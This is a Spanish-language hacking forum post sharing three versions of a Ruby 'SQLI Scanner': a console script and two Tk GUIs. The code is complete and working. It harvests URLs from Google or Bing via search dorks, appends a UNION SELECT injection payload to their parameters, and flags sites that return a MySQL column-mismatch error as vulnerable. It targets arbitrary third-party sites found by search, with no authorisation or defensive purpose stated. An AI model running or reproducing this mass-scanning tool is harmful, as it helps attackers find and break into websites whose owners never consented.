Enero 16, 2018, 04:15:57 am

Autor Tema: [Ruby] SQLI Scanner 0.4  (Leído 837 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • Yo vivo en CPH
  • ***
  • Mensajes: 736
  • Sexo: Masculino
    • Ver Perfil
[Ruby] SQLI Scanner 0.4
« en: Agosto 07, 2015, 02:26:19 pm »
Un simple script en Ruby para buscar paginas vulnerables a SQLI usando Google o Bing.

Version consola :

Código: (ruby) You are not allowed to view links. Register or Login
#!usr/bin/ruby
#SQLI Scanner 0.4
#(C) Doddy Hackman 2015

require "open-uri"
require "net/http"
require "openssl"

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end


def toma_ssl(web)
uri = URI.parse(web)
nave = Net::HTTP.new(uri.host, uri.port)
nave.use_ssl = true
nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
end


def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

def cortar(pages)
final = ""
finales = []
pages.flatten.each do |page|
if page=~/(.*)=(.*)/
parte1 = $1
parte2 = $2
final = parte1 + "="
finales.push(final)
end
end
return finales
end


def google(dork,pages)

links = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10
code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
paginas.flatten.each do |pagina|
partes = pagina
if partes=~/url\?q=(.*)&amp;sa/
parte = $1
link = URI::decode(parte)
links.push(link)
end
end
end
links = links.uniq
return links
end

def google_recursive(dork,pages)
dork = dork.sub(/ /,"+")
contador = 0
guardo = []
for i in ("1"..pages)
contador+=10
url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
code = toma_ssl(url)
links = URI::extract(code)
links.each do |link|
if link=~/cache:(.*?):(.*?)\+/
link_final = "http://"+$2
link_final = URI::decode(link_final)
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

def bing(dork,pages)

guardo = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10

code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)

links = code.scan(/<h2><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end

links = code.scan(/<h3><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

def uso
print "\n[+] Sintax : ruby scanner.rb <options> <dork> <pages>\n\n"
print "-search_bing : Find in Bing\n"
print "-search_google : Find in Google\n"
print "-scan_bing : Find SQLI in Bing\n"
print "-scan_google : Find SQLI in Google\n"
print "\n[+] Example of use : ruby scanner.rb -scan_bing news.php+id 3\n"
end

def  head
print "\n\n-- == SQLI Scanner 0.4 == --\n\n"
end

def copyright
print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
end

opcion = ARGV[0]
dork = ARGV[1]
pages  = ARGV[2]

head()

if !opcion or !dork or !pages
uso()
else

if opcion=="-search_bing"

print "\n[+] Searching in Bing ...\n\n"

links = bing(dork,pages)

print "[+] Pages Count : "+links.count.to_s+"\n\n"

if links.count.to_s=="0"
print "[-] Links not found\n"
end

links.flatten.each do |link|
print "[+] Link : "+link+"\n"
end

print "\n[+] Finished\n"

elsif opcion=="-search_google"

print "\n[+] Searching in Google ...\n\n"

links = google(dork,pages)

if links.count.to_s=="0"
print "[+] Searching in Google again ...\n\n"
links = google_recursive(dork,pages)
end

print "[+] Pages Count : "+links.count.to_s

if links.count.to_s=="0"
print "[-] Links not found"
end

links.flatten.each do |link|
print "[+] Link : "+link+"\n"
end

print "\n[+] Finished\n"

elsif opcion=="-scan_bing"

print "\n[+] Searching in Bing ...\n\n"

links = cortar(bing(dork,pages))

print "[+] Pages Count : "+links.count.to_s+"\n\n"

if links.count.to_s=="0"
print "[-] Links not found\n"
end

links.flatten.each do |link|
print "[+] Link : "+link
begin
url = toma(link + "-1+union+select+1--")
if url=~/The used SELECT statements have a different number of columns/
print " [OK]\n\a\a"
else
print " [FAIL]\n"
end
rescue
print " [FAIL]\n"
end
end

print "\n[+] Finished\n"

elsif opcion=="-scan_google"

print "\n[+] Searching in Google ...\n\n"

links = cortar(google(dork,pages))

if links.count.to_s=="0"
print "[+] Searching in Google again ...\n\n"
links = cortar(google_recursive(dork,pages))
end

print "[+] Pages Count : "+links.count.to_s+"\n\n"

if links.count.to_s=="0"
print "[-] Links not found"
end

links.flatten.each do |link|
print "[+] Link : "+link
begin
url = toma(link + "-1+union+select+1--")
if url=~/The used SELECT statements have a different number of columns/
print " [OK]\n\a\a"
else
print " [FAIL]\n"
end
rescue
print " [FAIL]\n"
end
end

print "\n[+] Finished\n"
else
print "[-] Bad Option"
end
end

copyright()


#The End ?

Version Tk para Google :

Código: (ruby) You are not allowed to view links. Register or Login
#!usr/bin/ruby
#SQLI Scanner 0.4
#(C) Doddy Hackman 2015
#Scan Google Tk

require "tk"
require "open-uri"
require "net/http"
require "openssl"

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end


def toma_ssl(web)
uri = URI.parse(web)
nave = Net::HTTP.new(uri.host, uri.port)
nave.use_ssl = true
nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
end


def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

def cortar(pages)
final = ""
finales = []
pages.flatten.each do |page|
if page=~/(.*)=(.*)/
parte1 = $1
parte2 = $2
final = parte1 + "="
finales.push(final)
end
end
return finales
end


def google(dork,pages)

links = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10
code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
paginas.flatten.each do |pagina|
partes = pagina
if partes=~/url\?q=(.*)&amp;sa/
parte = $1
link = URI::decode(parte)
links.push(link)
end
end
end
links = links.uniq
return links
end

def google_recursive(dork,pages)
dork = dork.sub(/ /,"+")
contador = 0
guardo = []
for i in ("1"..pages)
contador+=10
url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
code = toma_ssl(url)
links = URI::extract(code)
links.each do |link|
if link=~/cache:(.*?):(.*?)\+/
link_final = "http://"+$2
link_final = URI::decode(link_final)
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

def bing(dork,pages)

guardo = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10

code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)

links = code.scan(/<h2><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end

links = code.scan(/<h3><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

#

window = TkRoot.new { title "SQLI Scanner 0.4 - Scanner Google" ; background "black" }
window['geometry'] = '300x320-20+10'

TkLabel.new(window) do
background "black"
foreground "green"
text "    Dork : "
place('relx'=>"0.1",'rely'=>"0.1")
end

dork = TkEntry.new(window){
background "black"
foreground "green"
width 25
place('relx'=>0.3,'rely'=>0.1)
}

TkLabel.new(window) do
background "black"
foreground "green"
text "    Pages : "
place('relx'=>"0.1",'rely'=>"0.2")
end

pages = TkEntry.new(window){
background "black"
foreground "green"
width 25
place('relx'=>0.3,'rely'=>0.2)
}

TkLabel.new(window) do
background "black"
foreground "green"
text "Console"
place('relx'=>0.4,'rely'=>0.3)
end

console =TkText.new(window) do
background "black"
foreground "green"
width 30
height 9
place('relx'=>0.1,'rely'=>0.4)
end

TkButton.new(window) do
text "Search"
    background "black"
foreground "green"
width 17
activebackground "green"
highlightbackground  "green"
command proc{

dork = dork.value.to_s
pages = pages.value.to_s

console.insert("end",  "[+] Searching in Google ...\n\n")

links = cortar(google(dork,pages))

if links.count.to_s=="0"
console.insert("end",  "[+] Searching in Google again ...\n\n")
links = cortar(google_recursive(dork,pages))
end

console.insert("end", "[+] Pages Count : "+links.count.to_s+"\n\n")

if links.count.to_s=="0"
console.insert("end", "[-] Links not found")
end

links.flatten.each do |link|
console.insert("end", "[+] Link : "+link)
begin
url = toma(link + "-1+union+select+1--")
if url=~/The used SELECT statements have a different number of columns/
console.insert("end"," [OK]\n\a\a")
else
console.insert("end"," [FAIL]\n")
end
rescue
console.insert("end", " [FAIL]\n")
end
end

console.insert("end",  "\n[+] Finished")

}
place('relx'=>0.3,'rely'=>0.9)
end

Tk.mainloop

#The End ?

Una imagen :



Version Tk para Bing :

Código: (ruby) You are not allowed to view links. Register or Login
#!usr/bin/ruby
#SQLI Scanner 0.4
#(C) Doddy Hackman 2015
#Scan Bing Tk

require "tk"
require "open-uri"
require "net/http"
require "openssl"

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end


def toma_ssl(web)
uri = URI.parse(web)
nave = Net::HTTP.new(uri.host, uri.port)
nave.use_ssl = true
nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
end


def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

def cortar(pages)
final = ""
finales = []
pages.flatten.each do |page|
if page=~/(.*)=(.*)/
parte1 = $1
parte2 = $2
final = parte1 + "="
finales.push(final)
end
end
return finales
end


def google(dork,pages)

links = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10
code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
paginas.flatten.each do |pagina|
partes = pagina
if partes=~/url\?q=(.*)&amp;sa/
parte = $1
link = URI::decode(parte)
links.push(link)
end
end
end
links = links.uniq
return links
end

def google_recursive(dork,pages)
dork = dork.sub(/ /,"+")
contador = 0
guardo = []
for i in ("1"..pages)
contador+=10
url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
code = toma_ssl(url)
links = URI::extract(code)
links.each do |link|
if link=~/cache:(.*?):(.*?)\+/
link_final = "http://"+$2
link_final = URI::decode(link_final)
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

def bing(dork,pages)

guardo = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10

code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)

links = code.scan(/<h2><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end

links = code.scan(/<h3><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

#

window = TkRoot.new { title "SQLI Scanner 0.4 - Scanner Bing" ; background "black" }
window['geometry'] = '300x320-20+10'

TkLabel.new(window) do
background "black"
foreground "green"
text "    Dork : "
place('relx'=>"0.1",'rely'=>"0.1")
end

dork = TkEntry.new(window){
background "black"
foreground "green"
width 25
place('relx'=>0.3,'rely'=>0.1)
}

TkLabel.new(window) do
background "black"
foreground "green"
text "    Pages : "
place('relx'=>"0.1",'rely'=>"0.2")
end

pages = TkEntry.new(window){
background "black"
foreground "green"
width 25
place('relx'=>0.3,'rely'=>0.2)
}

TkLabel.new(window) do
background "black"
foreground "green"
text "Console"
place('relx'=>0.4,'rely'=>0.3)
end

console =TkText.new(window) do
background "black"
foreground "green"
width 30
height 9
place('relx'=>0.1,'rely'=>0.4)
end

TkButton.new(window) do
text "Search"
    background "black"
foreground "green"
width 17
activebackground "green"
highlightbackground  "green"
command proc{

dork = dork.value.to_s
pages = pages.value.to_s

console.insert("end", "[+] Searching in Bing ...\n\n")

links = cortar(bing(dork,pages))

console.insert("end", "[+] Pages Count : "+links.count.to_s+"\n\n")

if links.count.to_s=="0"
console.insert("end","[-] Links not found\n")
end

links.flatten.each do |link|
console.insert("end", "[+] Link : "+link)
begin
url = toma(link + "-1+union+select+1--")
if url=~/The used SELECT statements have a different number of columns/
console.insert("end"," [OK]\n\a\a")
else
console.insert("end", " [FAIL]\n")
end
rescue
console.insert("end"," [FAIL]\n")
end
end

console.insert("end",  "\n[+] Finished")

}
place('relx'=>0.3,'rely'=>0.9)
end

Tk.mainloop

#The End ?

Una imagen :



Eso es todo.


exclamation
[Ruby] SQLI Scanner By Doddy H

Iniciado por BigBear

0 Respuestas
1237 Vistas
Último mensaje Diciembre 15, 2010, 12:39:59 pm
por BigBear
exclamation
[Ruby] LFI Scanner 0.3

Iniciado por BigBear

0 Respuestas
845 Vistas
Último mensaje Agosto 21, 2015, 03:38:04 pm
por BigBear
exclamation
[C#] SQLI Scanner 0.4

Iniciado por BigBear

0 Respuestas
1241 Vistas
Último mensaje Julio 17, 2014, 05:36:04 pm
por BigBear
exclamation
[Java] SQLI Scanner 0.4

Iniciado por BigBear

0 Respuestas
767 Vistas
Último mensaje Marzo 05, 2016, 09:15:19 am
por BigBear
exclamation
[Java] SQLI Scanner 0.2

Iniciado por BigBear

3 Respuestas
2509 Vistas
Último mensaje Mayo 28, 2013, 07:16:35 am
por WaesWaes
exclamation
/Herramienta Online/>SQLi, Admin Panel Finder/Scanner de Puertos y LFI!

Iniciado por M4inFox

7 Respuestas
2993 Vistas
Último mensaje Abril 30, 2012, 08:43:04 am
por The X-C3LL
exclamation
[Ruby] Simple Backdoor in Ruby

Iniciado por BigBear

0 Respuestas
952 Vistas
Último mensaje Marzo 25, 2011, 01:34:44 pm
por BigBear
xx
Shadow Security Scanner and Shadow Database Scanner

Iniciado por [N]E[Z]

8 Respuestas
2023 Vistas
Último mensaje ſeptiembre 25, 2009, 10:49:08 am
por skull?
xx
Ruby a C++

Iniciado por @sur@

1 Respuestas
1240 Vistas
Último mensaje ſeptiembre 30, 2007, 02:00:08 am
por @sur@
exclamation
[Ruby] IRC Bot

Iniciado por BigBear

0 Respuestas
977 Vistas
Último mensaje Febrero 15, 2011, 12:49:54 pm
por BigBear